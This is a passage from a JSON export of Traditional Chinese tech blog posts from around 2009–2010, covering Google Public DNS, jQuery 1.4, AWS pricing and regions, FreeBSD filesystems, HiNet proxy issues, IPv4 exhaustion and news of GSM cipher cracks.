    "title": "使用 Google 提供的 AJAX Libraries 需要注意的細節..."
  },
  {
    "id": "2175",
    "body": "在 <a href=\"http://slashdot.org/\">Slashdot</a> 上看到一個丹麥人很認真的玩起「矛與盾」：「<a href=\"http://yro.slashdot.org/story/09/12/02/1913213/Danish-DRM-Breaker-Turns-Himself-In-To-Test-Backup-Law\">Danish DRM Breaker Turns Himself In To Test Backup Law</a>」。\r\n\r\n丹麥的著作權法令允許備份，但不允許破解 DRM。於是他拿到 DVD 後就破解 DRM 備份，然後跑去找反盜版組織「自首」XDDD\r\n\r\n結果反盜版組織只說「okay 我們知道了，之後會聯絡你」就沒下文了，這傢伙就跑去找警察自首 XDDD",
    "title": "備份與 DRM"
  },
  {
    "id": "2176",
    "body": "在 <a href=\"http://www.techcrunch.com/\">TC</a> 看到 <a href=\"http://www.google.com/\">Google</a> 公開了 Public DNS Resolver 服務：「<a href=\"http://www.techcrunch.com/2009/12/03/google-dns-opendns/\">Google Gets Into The DNS Business. Here’s What That Means</a>」。\r\n\r\n與 <a href=\"http://www.opendns.com/\">OpenDNS</a> 不同，他不會把無法 resolve 的 request 導到廣告頁，另外又因為密度比 OpenDNS 高 (因為 Google 在很多地方有機房)，IP address 又好寄 (分別是 <code>8.8.8.8</code> 與 <code>8.8.4.4</code>)，就基本的 resolver 功能來說，OpenDNS 沒有優勢。\r\n\r\n不過我發現如果是查詢 <a href=\"http://www.akamai.com/\">Akamai</a> CDN，反而會被導到美東 (，<a href=\"http://www.edgecast.com/\">EdgeCast</a> 則是美西。不過 <a href=\"http://www.limelightnetworks.com/\">Limelight Networks</a> 與 <a href=\"http://www.cdnetworks.com/\">CDNetworks</a> (<a href=\"http://www.pantherexpress.net/\">Panther Express</a> 部份) 都還蠻正常的，都是正確送到亞洲區的 PoP。以目前大多數的網站都是用 Akamai，用 Google 提供的 Public DNS Resolver 反而會變慢而非變快。\r\n\r\n有興趣的人可以用看看感覺一下？",
    "title": "Google 提供 Public DNS Resolver"
  },
  {
    "id": "2178",
    "body": "在 <a href=\"http://jquery.com/\">jQuery</a> 的 blog 上看到 jQuery 1.4a1 的消息：「<a href=\"http://blog.jquery.com/2009/12/04/jquery-14-alpha-1-released/\">jQuery 1.4 Alpha 1 Released</a>」，離上次 jQuery 1.3.2 在 2/20 放出來已經過了九個月了...\r\n\r\n就時間上來看，最主要的差異是 IE8 (3/19) 與 <a href=\"http://www.mozilla.com/firefox/\">Firefox</a> 3.5 (6/30) 的釋出，使得 jQuery 在這兩個平台上面的問題比起 IE7 與 Firefox 3.0 稍微多了一些...\r\n\r\n目前看起來 1.4 系列除了支援 IE8 以及 Firefox 3.5 外，最主要是把 <code>.live()</code> 功能大幅加強，延伸到 <code>submit</code> 以及其他事件，另外再透過之前 profiling 的結果，把效率再往上拉...",
    "title": "jQuery 1.4a1 - 終於要出新版了..."
  },
  {
    "id": "2179",
    "body": "這個消息已經有陣子了，不過還是整理一下。<a href=\"http://www.amazon.com/\">Amazon</a> 在前幾天宣佈在美西 (實際上是北加州) 建立了新的 data center：「<a href=\"http://aws.typepad.com/aws/2009/12/expanding-the-aws-footprint.html\">Expanding the AWS Footprint</a>」，包括 <a href=\"http://aws.amazon.com/s3/\">S3</a> 與 <a href=\"http://aws.amazon.com/ec2/\">EC2</a> 都提供美西的節點。\r\n\r\n以 S3 的資料來看，美西的節點頻寬費用與之前美國節點相同，但儲存費用大約貴了 10%，request 的費用也一樣貴了 10%。EC2 的部份也是類似的情況。在查過美國電價後，看起來就是差在電力成本上：「<a href=\"http://www.eia.doe.gov/cneaf/electricity/epm/table5_6_a.html\">Average Retail Price of Electricity to Ultimate Customers by End-Use Sector, by State</a>」。以工業用電來算，維吉尼亞的一度電是 6.84 cent，而加州要 11.75 cent，貴了許多。\r\n\r\nEC2 的 instance (server) 放在美西會離亞洲近一些，可以降低一些 latency。S3 放美西的話不如用 CDN 加速比較實際，不過考慮到跨區存取也要錢的話，放在一起可能是個比較好的方法...",
    "title": "Amazon Web Services 建立美西中心"
  },
  {
    "id": "2180",
    "body": "在「<a href=\"http://blogoscoped.com/archive/2009-12-07-n54.html\">Google's Site Performance Tool</a>」這邊看到的，<a href=\"https://www.google.com/webmasters/tools\">Google Webmaster Tools</a> 現在提供網站速度的歷史資料了，像是這樣：\r\n\r\n<a href=\"http://www.flickr.com/photos/gslin/4166222486/\"><img src=\"http://farm3.static.flickr.com/2733/4166222486_4d96406e54.jpg\" alt=\"\" /></a>\r\n\r\n不是很即時，但應該還是有參考價值...",
    "title": "Google Webmaster Tools 提供 Site Performance 圖表"
  },
  {
    "id": "2181",
    "body": "太誇張了... 參考「<a href=\"http://aws.typepad.com/aws/2009/12/aws-price-reductions.html\">AWS Price Reductions and Free Inbound Data Transfer</a>」這篇的說明。\r\n\r\n回朔到今年的 12/1，歐洲區的 <a href=\"http://aws.amazon.com/s3/\">S3</a> storage 費用全面降價 15% 以上，在最高層級的部份甚至到 20%，看起來是電費的合約搞定了？\r\n\r\n另外到明年七月 (應該是簽到了奇怪的不對稱合約)，所有服務的 inbound 頻寬不收錢，這樣 S3 拿來備份就幾乎只收 storage 費用...\r\n\r\n另外一個一般人用不到的，針對 S3 超大客戶 (使用超過 1PB) storage 的部份再優惠...",
    "title": "Amazon Web Services 又要降價了..."
  },
  {
    "id": "2182",
    "body": "<a href=\"http://aws.amazon.com/importexport/\">AWS Import/Export</a> 的服務擴展到全球，本來只有 <a href=\"http://aws.amazon.com/s3/\">S3</a>-US 的人可以用，而且限制 shipping address 要在美國境內，但現在 S3-US 開放到全球的 shipping address。另外，S3-EU 的部份開放歐盟國家使用 (本來不支援)，可能會在之後也像 S3-US 一樣全面開放。參考「<a href=\"http://aws.typepad.com/aws/2009/12/aws-importexport-goes-global.html\">AWS Import/Export Goes Global</a>」這篇的說明。\r\n\r\n不過最近 <a href=\"http://aws.amazon.com/\">Amazon Web Services</a> 的 inbound bandwidth 不用錢，對於有足夠上傳頻寬的單位可以估算一下時間成本與頻寬成本。\r\n\r\n最近 AWS 的動作不少，<a href=\"http://www.rackspacecloud.com/\">Rackspace Cloud</a> 要加油啊...",
    "title": "AWS Import/Export 開放到全球"
  },
  {
    "id": "2183",
    "body": "<a href=\"http://www.percona.com/docs/wiki/percona-xtrabackup:start\">XtraBackup</a> 釋出 1.0 版，第一個支援 Win32 平台的版本：「<a href=\"http://www.mysqlperformanceblog.com/2009/12/09/xtrabackup-1-0/\">xtrabackup-1.0</a>」。\r\n\r\n不過想了一下，實際用的機會不多，因為現在跑的備份機制是在沒有 xtrabackup 就已經弄起來的方法：利用 slave 與 snapshot 保留資料，需要的機器數量比較多，不過是個還算成熟的方法...\r\n\r\n之前寫過「<a href=\"http://blog.gslin.org/archives/2009/04/24/2001/\">XtraBackup：線上備份 InnoDB 的好東西</a>」與「<a href=\"http://blog.gslin.org/archives/2009/05/08/2017/\">用 XtraBackup 產生 slave</a>」兩篇文章，需要的人可以看看，當資料量比較小 (startup 初期) 的弄法。",
    "title": "xtrabackup 1.0 釋出"
  },
  {
    "id": "2184",
    "body": "<a href=\"http://www.amazon.com/\">Amazon</a> 把目前大量且未用到的 <a href=\"http://aws.amazon.com/ec2/\">EC2</a> 資源拿出來，用競價的方式租給需要計算資源的人用：「<a href=\"http://aws.amazon.com/about-aws/whats-new/2009/12/14/announcing-amazon-ec2-spot-instances/\">Announcing Amazon EC2 Spot Instances</a>」，這個服務叫做 <a href=\"http://aws.amazon.com/ec2/spot-instances/\">Amazon EC2 Spot Instances</a>。\r\n\r\n在 EC2 Spot Instances 出來之前，需要大量運算資源的人通常會跟 Amazon 申請過後開數十或數百台機器跑。由於是算租用時間，開十台慢慢跑十天與開一百台跑一天其實是一樣的價錢。但後者對於 Amazon 的成本會高一些，因為他需要準備足夠的機器才能服務。\r\n\r\n不過，有些人雖然需要大量運算資源，但實際上並不急。EC2 Spot Instances 就是為了這樣的應用而設計的，他願意給比較低的價錢，用「競價」由市場決定價錢。\r\n\r\n以目前美西的 EC2 最小台 Small 的價錢來看，是 USD$0.085/hour，利用 Console 看歷史紀錄，EC2 Spot Instances 這幾個小時內曾經低到 USD$0.026/hour (2009-12-14 12:00 GMT+0800)，大約是原價的 30%，而平常大約都在 USD$0.03/hour 左右。\r\n\r\nAmazon 在 Cloud Computing 的基礎建設這塊真的做的很不錯...\r\n\r\n<strong>Update</strong>：在 <a href=\"http://www.cloudexchange.org/\">http://www.cloudexchange.org/</a> 這邊可以直接看歷史紀錄...",
    "title": "Amazon EC2 Spot Instances"
  },
  {
    "id": "2185",
    "body": "<a href=\"http://ejohn.org/\">John Resig</a> 在 <a href=\"http://blog.jquery.com/\">jQuery 的 blog</a> 上發佈了 jQuery 1.4 的第二個 alpha 版：「<a href=\"http://blog.jquery.com/2009/12/18/jquery-14-alpha-2-released/\">jQuery 1.4 Alpha 2 Released</a>」，為了能保持與 1.3.2 的相容性，他鼓勵大家開始儘量測 jQuery 1.4a2，對於不相容或是有問題的地方儘快回報回去，提高 1.4 的品質。目前規劃的時間是明年一月 14 日會推出 jQuery 1.4。\r\n\r\n另外 John Resig 特地在自己的 blog 寫了一篇文章，說明 jQuery 1.4 將 event delegation 用 <code>.closest(Array)</code> 改寫後可以減少計算量，最直接影響的就是 <code>.live()</code> 的效率會提昇不少：「<a href=\"http://ejohn.org/blog/closestarray-in-jquery-14/\">.closest(Array) in jQuery 1.4</a>」。",
    "title": "jQuery 1.4 的第二個 alpha 版"
  },
  {
    "id": "2186",
    "body": "<a href=\"http://www.cloudelay.com/\">Cloudelay</a> 可以檢測從自己到雲端各節點的 latency。\r\n\r\n目前網站上只有支援 <a href=\"http://aws.amazon.com/cloudfront/\">AWS CloudFront</a> 以及 <a href=\"http://aws.amazon.com/s3/\">AWS S3</a>，另外正在規劃 <a href=\"http://blogs.msdn.com/windowsazure/archive/2009/11/05/introducing-the-windows-azure-content-delivery-network.aspx\">Azure CDN</a>、<a href=\"http://www.rackspacecloud.com/cloud_hosting_products/files\">Cloud Files</a>、<a href=\"http://simplecdn.net/\">SimpleCDN</a>。\r\n\r\n以目前有公開 AWS CloudFront 與 S3，我猜卡在拿不到其他 CDN 的 PoP 資訊，因為夠大的 CDN (像是 <a href=\"http://www.rackspacecloud.com/\">Rackspace Cloud</a> 用的 <a href=\"http://www.limelightnetworks.com/\">Limelight Networks</a>) 不會對外提供這些資訊。比較有機會的是 SimpleCDN 要曝光度，會把這些資訊提供給他。",
    "title": "Cloudelay - 檢測各個雲端節點的效率"
  },
  {
    "id": "2187",
    "body": "<a href=\"http://www.freebsd.org/\">FreeBSD</a> 上主要是靠 <a href=\"http://en.wikipedia.org/wiki/Soft_updates\">Soft updates</a> 維持當 Filesystem 不正常 umount 時的資料安全，在 <a href=\"http://www.linux.org/\">Linux</a> 上比較常見的方式則是 <a href=\"http://en.wikipedia.org/wiki/Journaling_file_system\">Journaling file system</a>，兩個方式有不同的走向。\r\n\r\nFreeBSD 最近也有 <a href=\"http://zh.wikipedia.org/wiki/ZFS\">ZFS</a> 了。ZFS 用的技巧類似 Journaling，不過也利用類似 Soft updates 的想法避免硬碟內的資料不一致。不過穩定性與效能沒辦法跟 UFS2 相比。\r\n\r\n最近 <a href=\"http://jeffr-tech.livejournal.com/\">Jeff Roberson</a> 又活躍起來了 (之前弄 FreeBSD 7 的 SCHED_ULE 2 以及 FreeBSD 8 的 SCHED_SMP)，在接受廠商的贊助後試著改善 UFS2 的 Soft updates，把 Journaling 的技巧引進 UFS2，希望再減少 fsck 的需求：「<a href=\"http://jeffr-tech.livejournal.com/22716.html\">Journaling softupdates, SU+J</a>」以及「<a href=\"http://jeffr-tech.livejournal.com/22933.html\">What's in a journal anyway?</a>」。以目前所規劃的時程，看起來會在這兩個禮拜內看到 commit 進 HEAD (9.0-CURRENT)。沒意外的話跑一陣子後應該就會 MFC 回 8-STABLE，然後在 8.1-RELEASE 出現。",
    "title": "FreeBSD UFS2 的 SU+J"
  },
  {
    "id": "2189",
    "body": "<a href=\"http://blog.othree.net/\">othree</a> 在 irc 上提到的... 依照「<a href=\"http://github.com/jquery/jquery/commit/3fd62eae9df3159fc238a515bb748140a942313d\">Commit 3fd62eae9df3159fc238a515bb748140a942313d to jquery's jquery</a>」這個 commit 的說明，<a href=\"http://jquery.com/\">jQuery</a> 將使用 <a href=\"http://code.google.com/closure/compiler/\">Google Closure Compiler</a>，取代 <a href=\"http://developer.yahoo.com/yui/compressor/\">YUICompressor</a> 壓縮 jQuery：\r\n<blockquote>Switched from using YUI Compressor to Google Compiler. Minified and Gzipped filesize reduced to 22,839 bytes from 26,169 bytes (13% decrease in filesize). Sizzle copyright was merged into the main header (since it's removed automatically). Still passes all unit tests.</blockquote>\r\n下個版本就可以看到了。",
    "title": "jQuery 改用 Google Closure Compiler"
  },
  {
    "id": "2190",
    "body": "從 <a href=\"http://mediatemple.net/\">MediaTemple</a> 搬出來了，搬到 <a href=\"http://www.sharkspace.com/\">SharkSpace</a>。\r\n\r\n今年年初的時候 (翻了信件，1/31) 開始用 MediaTemple 的 <a href=\"http://www.mediatemple.net/webhosting/gs/\">Grid Service</a>，費用是 USD$20/month，在 hosting 這塊算是高的。當時會用 MediaTemple 想的是「花錢解決事情」就好，不過這一年來感覺不太值得，以 USD$20/month 的品質來說，database 掛掉的機率高了些，加上這陣子 MediaTemple 爆發 security issue (參考「<a href=\"http://kylerush.net/cms/media-temple-security-issues/\">Media Temple Security Issues</a>」、「<a href=\"http://michaeltorbert.com/blog/media-temple-hacked/\">Media Temple Hacked</a>」)，花些時間到 <a href=\"http://www.webhostingtalk.com/\">Web Hosting Talk</a> 上研究有什麼 shared hosting 價錢比較低 (有活動在跑的)，如果掛掉的話還不會那麼心痛 XD\r\n\r\n在 Web Hosting Talk 上翻了一下，看到 SharkSpace 有 50% off 的 coupon 特價 (50offlife)，以我的用量需要 Hammerhead 的方案，折扣後大約是 USD$4.5/month (年繳)，而且還蠻受好評的。我需要的 SSH access 也沒問題 (要另外申請，需要傳真或是掃描身份文件，我是掃描護照後 submit ticket 夾檔給對方)，而且有美西主機可以用，從台灣過去大約 135ms 左右。後台則是 <a href=\"http://www.cpanel.net/\">cPanel</a>。\r\n\r\n接下來就是把網站搬進去，大概就這樣...",
    "title": "從 MediaTemple 搬家"
  },
  {
    "id": "2191",
    "body": "<a href=\"http://slashdot.org/\">Slashdot</a> 上看到硬碟已經開始往 4K sector size 走了：「<a href=\"http://hardware.slashdot.org/story/09/12/28/1422253/HDD-Manufacturers-Moving-To-4096-byte-Sectors\">HDD Manufacturers Moving To 4096-byte Sectors</a>」。\r\n\r\n會開始討論主要是因為 <a href=\"http://www.wdc.com/\">WD</a> 開始販售 4K sector size 的硬碟，許多維護 Filesystem code 的開發人員也因此比較注意到這個問題。\r\n\r\n前幾天在 <a href=\"http://www.freebsd.org/\">FreeBSD</a> 的 mailing list 上也看到類似的討論「<a href=\"http://lists.freebsd.org/pipermail/freebsd-arch/2009-December/009770.html\">File system blocks alignment</a>」，以目前可以調整的參數觀察，如果 block size 沒有切齊，會使得效率降低不少 (猜測是因為 read-modify-write)，其他作業系統的 Filesystem 也有類似的情況。\r\n\r\n2010Q1 應該會看到更多使用 4K sector size 的硬碟。",
    "title": "4K sector size"
  },
  {
    "id": "2192",
    "body": "先前看到 <a href=\"http://www.google.com/chrome\">Google Chrome</a> 上有人寫了 <a href=\"https://chrome.google.com/extensions/detail/gighmmpiobklfepjocnamgkkbiglidom\">Adblock</a> 的新聞，結果仔細看發現他把阻擋規則寫在程式裡面，而不是像 <a href=\"http://www.mozilla.com/firefox/\">Firefox</a> 上的 <a href=\"http://adblockplus.org/\">Adblock Plus</a> 那樣，接受外部的檔案定時更新，感覺就... 非常不好 XD\r\n\r\n這兩天無意間又去逛到 <a href=\"https://chrome.google.com/extensions\">Google Chrome Extensions</a>，看到有另外一個 <a href=\"https://chrome.google.com/extensions/detail/cfhdojbkjhnklbpkdaibdccddilifddb\">AdThwart</a>，直接支援現有 Adblock Plus 的列表，馬上就把系統的 Google Chrome 換成 beta 版，裝上 AdThwart...\r\n\r\n接下來得花一段時間適應了... 速度快好多不太習慣 XD",
    "title": "把預設瀏覽器換成 Google Chrome (beta)"
  },
  {
    "id": "2193",
    "body": "<a href=\"http://www.hinet.net/\">HiNet</a> 的 transparent proxy 主要是放在接國際線路的點上面，這兩個禮拜發現很不穩定，連帶會導致用 HiNet ADSL 的人會偶而連不上國外的網站...\r\n\r\n第一個是國外網站，拿 <a href=\"http://www.alexa.com/\">Alexa</a> 的 <a href=\"http://www.alexa.com/topsites/countries/TW\">Top Sites in Taiwan</a> 的前 30 名來說，<a href=\"http://www.facebook.com/\">Facebook</a>、<a href=\"http://www.live.com/\">Live</a> (<a href=\"http://www.bing.com/\">Bing</a> 反而上了 <a href=\"http://www.akamai.com/\">Akamai</a>，這個後面談)、<a href=\"http://6waves.com/\">6waves</a> (農場的公司)、<a href=\"http://www.wikipedia.org/\">Wikipedia</a> (維基百科)、<a href=\"http://www.baidu.com/\">Baidu</a>、<a href=\"http://www.badongo.com/\">Badongo</a>、<a href=\"http://www.plurk.com/\">Plurk</a>、<a href=\"http://www.tudou.com/\">土豆</a>、<a href=\"http://plus28.com/\">Plus28</a> 的伺服器因為沒有放台灣內，所以網站本體會不太順。\r\n\r\n另外再來是 CDN 的問題。除了台灣有節點的 CDN 以外，其他都會受到影響，也就是說，除了 <a href=\"http://www.akamai.com/\">Akamai</a> 以及 <a href=\"http://www.cdnetworks.com/\">CDNetworks</a> 以外都會受到影響。這也使得我們家得把 HiNet 使用者改指到 Akamai 與台固。比較明顯的是<a href=\"http://www.roodo.com/\">樂多</a>、<a href=\"http://twitter.com/\">Twitter</a> 與 Plurk 的圖片使用 <a href=\"http://aws.amazon.com/cloudfront/\">CloudFront</a>。\r\n\r\n第三個問題是使用者自己調整設定後造成的，最近比較常見的設定是 <a href=\"http://www.google.com/\">Google</a> 提供的 DNS 服務，分別是 <code>8.8.8.8</code> 與 <code>8.8.4.4</code>。理論上這兩組 server 都是用 Google 台灣機房的服務，但是 Akamai 沒有辦法判斷使用者的 ISP (他只能判斷出是台灣 Google 來的 query)，所以不能導到台灣任何一個 PoP (因為台灣的量比較少，要降低成本的一個方向是改談 local service)，所以用 Google DNS 的人，會被導到香港的 PoP，於是就會經過 HiNet transparent proxy。\r\n\r\n這是用 8.8.8.8 查 Facebook CDN 的結果，拿 IP trace 可以發現在香港：\r\n<blockquote><pre><small>;; ANSWER SECTION:\r\nstatic.ak.fbcdn.net.    7196    IN      CNAME   static.ak.facebook.com.edgesuite.net.\r\nstatic.ak.facebook.com.edgesuite.net. 21596 IN CNAME a749.g.akamai.net.\r\na749.g.akamai.net.      16      IN      A       63.150.131.187\r\na749.g.akamai.net.      16      IN      A       63.150.131.171</small></pre></blockquote>\r\n<a href=\"http://zonble.net/\">zonble</a> 提到的「<a href=\"http://cocoa.zonble.net/post/313968888/if-you-found-that-you-cannot-see-any-images-on-facebook\">If you found that you cannot see any images on Facebook</a>」的問題應該屬於這類。",
    "title": "最近 HiNet 的 transparent proxy 異常..."
  },
  {
    "id": "2194",
    "body": "IPv4 不夠用是沒有話題時就會談的問題... 像是年底這陣子放假沒有話題，<a href=\"http://slashdot.org/\">Slashdot</a> 就在「<a href=\"http://tech.slashdot.org/story/10/01/03/2358233/At-Current-Rates-Only-a-Few-More-Years-Worth-of-IPv4-Addresses\">At Current Rates, Only a Few More Years' Worth of IPv4 Addresses</a>」這篇文章談到了這個問題，裡面是引用自 <a href=\"http://arstechnica.com/\">Ars Technica</a> 的文章「<a href=\"http://arstechnica.com/tech-policy/news/2010/01/dont-publish-the-decade-in-ipv4-addresses.ars\">A decade's worth of IPv4 addresses</a>」，這篇文章宣稱 2010 會是 IPv4 的最後一年...\r\n\r\n在 <a href=\"http://rms.twnic.net.tw/\">rms.twnic.net.tw</a> 上面可以查到目前台灣拿到的 IP 資訊，像是以核發日期排序：「<a href=\"http://rms.twnic.net.tw/twnic/User/Member/Search/main7.jsp?Order=ApprovedDate\">查詢功能-IPv4核發分配情形</a>」。不過只看日期不太準，像是 139.175.0.0/16 這段歷史很久了，卻在 2009 年 5 月掛到新世紀資通，應該是遠傳內部在整合的關係。大宗的還是 HINET-NET (<a href=\"http://tpe.land.hinet.net/\">中華電信數據通信分公司</a>)。",
    "title": "IPv4 位置近況"
  },
  {
    "id": "2197",
    "body": "正式的公告在 <a href=\"http://www.dyn.com/\">Dyn Inc.</a> 的網站上：「<a href=\"http://www.dyn.com/everydns-aquisition\">Dyn Inc. Further Cements Position as Global Managed DNS Leader Through Acquisition of EveryDNS</a>」。\r\n\r\n在這個領域主要的競爭對手是 <a href=\"http://www.dyndns.com/\">DynDNS</a>。這次買 <a href=\"http://www.everydns.com/\">EveryDNS</a> 算是擴展版圖，讓 <a href=\"http://dyn.com/\">Dyn Inc.</a> 的的產品線更完整。",
    "title": "EveryDNS 被 Dyn Inc. 買下"
  },
  {
    "id": "2198",
    "body": "這陣子居然來好幾發...\r\n\r\n首先是 <a href=\"http://zh.wikipedia.org/wiki/%E5%85%A8%E7%90%83%E7%A7%BB%E5%8A%A8%E9%80%9A%E4%BF%A1%E7%B3%BB%E7%BB%9F\">GSM 網路</a> (俗稱的 2G) 用的 <a href=\"http://en.wikipedia.org/wiki/A5/1\">A5/1</a> 實際被示範破解 (而非純粹就加密演算法本身攻擊)：「<a href=\"http://www.nytimes.com/2009/12/29/technology/29hack.html\">Cellphone Encryption Code Is Divulged</a>」，不過 A5/1 畢竟已經用了 20 年，在這些年來所找到可以加速破解的方式，使得所需的複雜度下降，再加上 <a href=\"http://zh.wikipedia.org/wiki/FPGA\">FPGA</a> 的幫助，以現在的能力要破 64bits key 比 A5/1 剛出現時相對容易許多。\r\n\r\n有人破了 A5/1 後，目前 <a href=\"http://zh.wikipedia.org/wiki/3G\">3G</a> 在用的 <a href=\"http://en.wikipedia.org/wiki/KASUMI_%28block_cipher%29\">A5/3</a> 也出事了... 今天在 <a href=\"http://slashdot.org/\">Slashdot</a> 上看到 3G 網路所使用的 A5/3 找到 <a href=\"http://en.wikipedia.org/wiki/Related-key_attack\">Related-key attack</a>：「<a href=\"http://mobile.slashdot.org/story/10/01/12/134225/Second-3G-GSM-Cipher-Cracked\">Second 3G GSM Cipher Cracked</a>」，雖然不是 3G 網路的世界末日，不過開了第一比較大的洞 (以現有資源可以實做的洞) 就很痛啊... 接下來應該會想辦法轉到新的 cipher 上。\r\n\r\n查了一下這次的洞是誰搞出來的：Orr Dunkelman (之前捅 AES-256 一刀後跑來捅這個)、Nathan Keller (在 2006 時捅過 A5/1)，<a href=\"http://en.wikipedia.org/wiki/Adi_Shamir\">Adi Shamir</a> (這個人還真是有活力)。",
    "title": "行動電話網路又出包了..."
  },
  {
    "id": "2200",
    "body": "三個小時前 (美西時間是 1/12 15:00PM) <a href=\"http://www.google.com/\">Google</a> 在官方 blog 上宣佈了「<a href=\"http://googleblog.blogspot.com/2010/01/new-approach-to-china.html\">A new approach to China</a>」，內容包括了：\r\n<ul>\r\n\t<li>偵測到有大量試著存取 <a href=\"http://mail.google.com/\">Gmail</a> 的帳戶，被試著存取的帳戶是與人權團體人物有關的。沒有指明是誰發動的，只說明不只 Google 被攻擊。</li>\r\n\t<li>不打算再繼續過濾 search result，就這點會在接下來幾個禮拜與中國政府商談，是否有辦法在合於中國法令的情況下給予使用者原始 search result。如果不成的話，會考慮關閉 Google.cn，甚至 Google 中國辦公室。(We have decided <strong>we are no longer willing to continue censoring our results on Google.cn</strong>, and so over the next few weeks we will be discussing with the Chinese government the basis on which we could operate an unfiltered search engine within the law, if at all. <strong>We recognize that this may well mean having to shut down Google.cn, and potentially our offices in China.</strong>)</li>\r\n</ul>\r\n這份新聞稿所提到的政策手腕很漂亮，如果以這樣的方式退出中國市場反而不會受到美國責難。",
    "title": "Google 對中國政策的重大宣佈"
  },
  {
    "id": "2201",
    "body": "<a href=\"http://jquery.com/\">jQuery</a> 1.4 釋出了：「<a href=\"http://jquery14.com/day-01/jquery-14\">jQuery 1.4 Released</a>」，同時 <a href=\"http://mediatemple.net/\">MediaTemple</a> 贊助了 <a href=\"http://jquery14.com/\">14 Days of jQuery</a> 的活動，以 14 天徵文推廣 jQuery。\r\n\r\njQuery 1.4 除了增加大量的 API 以外 (參考「<a href=\"http://api.jquery.com/category/version/1.4/\">Version 1.4 &#8211; jQuery API</a>」這個網頁的列表)，又再次大幅改善效能 (這是重點，可以看到整篇介紹文章有一大半都是講效能的改進)。這些效能改進的方式有些在 <a href=\"http://ejohn.org/blog/\">John Resig</a> 的 blog 有專門寫文章解釋過，像是「<a href=\"http://ejohn.org/blog/function-call-profiling/\">JavaScript Function Call Profiling</a>」。\r\n\r\n另外，<code>jQuery.param()</code> 支援 serialization 了... 可以把 js object 轉成像 <code>foo[]=bar&amp;foo[]=baz</code> 這樣的字串，讓 web 端處理起來比較方便，不用特地丟 JSON object 進去再用 JSON decoder 解開。而 <code>jQuery.JSONP</code> 也終於可以指定 callback name 了...\r\n\r\n這次也是火力展示...",
    "title": "jQuery 1.4"
  },
  {
    "id": "2202",
    "body": "在「<a href=\"http://googlesystem.blogspot.com/2010/01/avast-added-to-google-pack.html\">Avast Added to Google Pack</a>」這篇看到 <a href=\"http://pack.google.com/\">Google Pack</a> 取得 <a href=\"http://www.avast.com/\">Avast</a> 授權，雖然現在要取得免費的家用防毒軟體愈來愈容易，不過總是多了一個管道...\r\n\r\n查了一下，之前 <a href=\"http://www.google.com/\">Google</a> 也有跟 <a href=\"http://www.symantec.com/\">Norton</a> 合作 (有段日子了，是 2006 年年初的時候)：「<a href=\"http://blog.gslin.org/archives/2006/01/08/295/\">Google Pack</a>」。\r\n\r\nAvast 也有發新聞稿可以參考：「<a href=\"http://blog.avast.com/2010/01/14/free-avast-5-chosen-for-google-pack/\">Free avast! 5 Chosen for Google Pack</a>」。",
    "title": "Google Pack 取得 Avast 授權..."
  },
  {
    "id": "2203",
    "body": "在 <a href=\"http://www.techcrunch.com/\">TechCrunch</a> 看到<a href=\"http://europa.eu/\">歐盟</a>批准 <a href=\"http://www.oracle.com/\">Oracle</a> 與 <a href=\"http://www.sun.com/\">Sun</a> 的併購案了：「<a href=\"http://www.techcrunch.com/2010/01/21/eu-sun-oracle/\">EU Approves $7.4 Billion Deal Between Oracle And Sun</a>」。\r\n\r\n對於 <a href=\"http://dev.mysql.com/\">MySQL</a>，歐盟同意 Oracle 所辯稱的「Oracle 與 MySQL 的主要客群不重疊」這個說法。不過幾乎所有人都悲觀面對這個事實... 現在就要看誰要帶頭 fork 出來開公司了。<a href=\"http://askmonty.org/\">AskMonty</a> 所發展的 <a href=\"http://askmonty.org/wiki/index.php/MariaDB\">MariaDB</a> 可能是一組人馬，不過 <a href=\"http://www.percona.com/\">Percona</a> 所發展的 <a href=\"https://launchpad.net/percona-xtradb\">XtraDB</a> 也有可能是另外一組人馬。\r\n\r\n應該會混亂一陣子，同時看 Oracle/Sun 在合併案定案後的反應。\r\n\r\n歐盟的正式公告可以在網站上查到：「<a href=\"http://europa.eu/rapid/pressReleasesAction.do?reference=IP/10/40&amp;format=HTML&amp;aged=0&amp;language=EN&amp;guiLanguage=en\">Mergers: Commission clears Oracle's proposed acquisition of Sun Microsystems</a>」。",
    "title": "歐盟批准 Oracle-Sun 併購案"
  },
  {
    "id": "2204",
    "body": "這兩天 <a href=\"http://www.mozilla.com/firefox/\">Firefox</a> 3.6 正式釋出，於是我把本來的 3.6pre 移除掉，改到 <a href=\"http://ftp.mozilla.org/\">ftp.mozilla.org</a> 上抓 3.7a1pre 裝進去...\r\n\r\n目前已知的問題包括了 <a href=\"http://mail.google.com/\">Gmail</a> 很容易造成目前的 <a href=\"http://www.mozilla.org/projects/minefield/\">Minefield</a> 版本 crash；另外 <a href=\"https://addons.mozilla.org/firefox/addon/748\">Greasemonkey</a> 目前還不支援 3.7a1pre，硬裝進去也沒用，其他的倒是還好。\r\n\r\n速度上很明顯感覺到又變快了。",
    "title": "Firefox 3.6 釋出"
  },
  {
    "id": "2205",
    "body": "在 <a href=\"http://slashdot.org/\">Slashdot</a> 上看到 1.0.0.0/8 這段 IP address 被分配給 <a href=\"http://www.apnic.net/\">APNIC</a> 了：「<a href=\"http://tech.slashdot.org/story/10/01/24/2139250/IPv4-Free-Pool-Drops-Below-10-10008-Allocated\">IPv4 Free Pool Drops Below 10%, 1.0.0.0/8 Allocated</a>」。\r\n\r\n這段 IP address 本來是保留起來，讓許多範例可以用 (像是 1.1.1.1 與 1.2.3.4，就跟 example.{com,net,org} 被保留的道理是一樣的)，不過在 IPv4 位置愈來愈少的情況下，還是先被拿出來用了。(因為其他的 /8 等級的 IP address 都被企業擁有，要放出來要協調，甚至要法院...)\r\n\r\n儘管這段 IP address 被放出來，在實際使用之前還是有不少問題要處理，像是「<a href=\"http://bgpmon.net/blog/?p=275\">Issues with allocating from 1.0.0.0/8</a>」這篇所提到的，目前有很多人佔用這段 IP address 並且亂放 routing，不過這是比較容易解決的。真正困難的是目前在上面的應用...\r\n\r\n關於目前 IP address 的分配資料，可以看「<a href=\"http://www.iana.org/assignments/ipv4-address-space/ipv4-address-space.txt\">IANA IPv4 Address Space Registry</a>」這份文字檔看到個大概。以目前的網路環境來看，Multicast 也有可能被抓出來鞭屍拋棄...",
    "title": "1.0.0.0/8 被分配給 APNIC 了..."
  },
  {
    "id": "2206",
